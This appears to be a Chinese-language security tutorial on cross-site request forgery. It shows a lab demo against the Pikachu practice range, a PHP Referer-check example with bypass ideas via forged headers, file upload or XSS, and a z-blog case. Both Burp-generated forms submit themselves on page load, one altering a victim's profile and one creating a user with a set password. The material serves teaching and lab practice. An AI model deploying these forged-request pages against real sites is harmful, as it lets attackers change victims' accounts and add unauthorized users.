CSRF 漏洞原理演示 && 基本绕过（同源异源）&& 配合XSS&Token值校验&复用删除

前言

CSRF的基本原理就是举例我们伪造一个支付宝的转账请求（抓包获取的），受害者：正好登录着支付宝（后台）的同时点击了我们伪造的（包含恶意请求）网址从而导致先我们进行转账

条件： 1、需要伪造的数据包

2、无过滤防护

3、受害者需要触发（诱惑）

演示

条件：有条件的可以申请2个服务器不行就使用同一局域网下的2个电脑（一个搭建CMS 一个搭建攻击网站）

抓包构造 poc

创建一个 add.html 把生成的 poc 复制到里面（记得勾选自动点击不然就需要用户自己点击才能进行跳转）

复制代码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="88888888" />
      <input type="hidden" name="add" value="usa" />
      <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

搭建靶场把恶意的请求放到网站目录

恶意的网站页面

当我们直接进行访问时（需要后台登录过 pikachu 后台不然没有cookie验证也是进不去的）

点击跳转发现手机号被修改了这个就是防护的CSRF的修改发现这种跨站是非常危险的

CSRF的基本绕过

一般就是网站会设置获取refer头信息从而来判断是否要拒绝你的访问（获取referer头的方法）

网站是怎么进行waf的：

复制代码

<?php 
// 定义一个变量，用于存放flag
$flag = 123456;
$refer = $_SERVER['HTTP_REFERER'];  // 获取HTTP_REFERER  获取referer头部
echo $refer;  // 输出referer头部
if ($refer == "http://xiaodi8.com") {  // 判断referer是否为xiaodi8.com
    echo $flag;  // 输出flag
}else{
    echo "非法访问";  // 输出非法访问
}

在网站目录下新建一个 php文件储存上边这个代码我们使用本机去访问

访问发现出现了非法访问没有出现flag

抓个包修改refer头这个时候就可以访问成功了

2个点：我们要修改的referer头是一一对应的：解决方法：结合文件上传（把恶意代码的html文件上传到网站上）让受害者主动访问目标网站

结合 XXS 这个网站上有XXS 我们可以构造一个重定向的一个payload 然后让其使用他的本地正确的网站进行

我们要修改的是模糊匹配的（有这个地址就行）：这个的玩法就是在你的请求服务器上把这个数据包的伪造请求放到受害者地址的目录下（这个目录需要手动的创建）

这个也是需要一个条件就是需要是受害者点击进行的

实战利用z-blog

zblog的搭建直接使用小皮面板放到网站目录下

密码是 Abc123456

抓取请求包

生成 CSRF的poc 我们把这个代码粘贴到 add.html 内

复制代码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST">
      <input type="hidden" name="ID" value="0" />
      <input type="hidden" name="Level" value="6" />
      <input type="hidden" name="Status" value="0" />
      <input type="hidden" name="Name" value="�&#174;&#191;�&#174;&#162;" />
      <input type="hidden" name="Password" value="Abc123456" />
      <input type="hidden" name="PasswordRe" value="Abc123456" />
      <input type="hidden" name="Alias" value="" />
      <input type="hidden" name="Email" value="1111&#64;qq&#46;com" />
      <input type="hidden" name="HomePage" value="" />
      <input type="hidden" name="Intro" value="" />
      <input type="hidden" name="Template" value="index" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>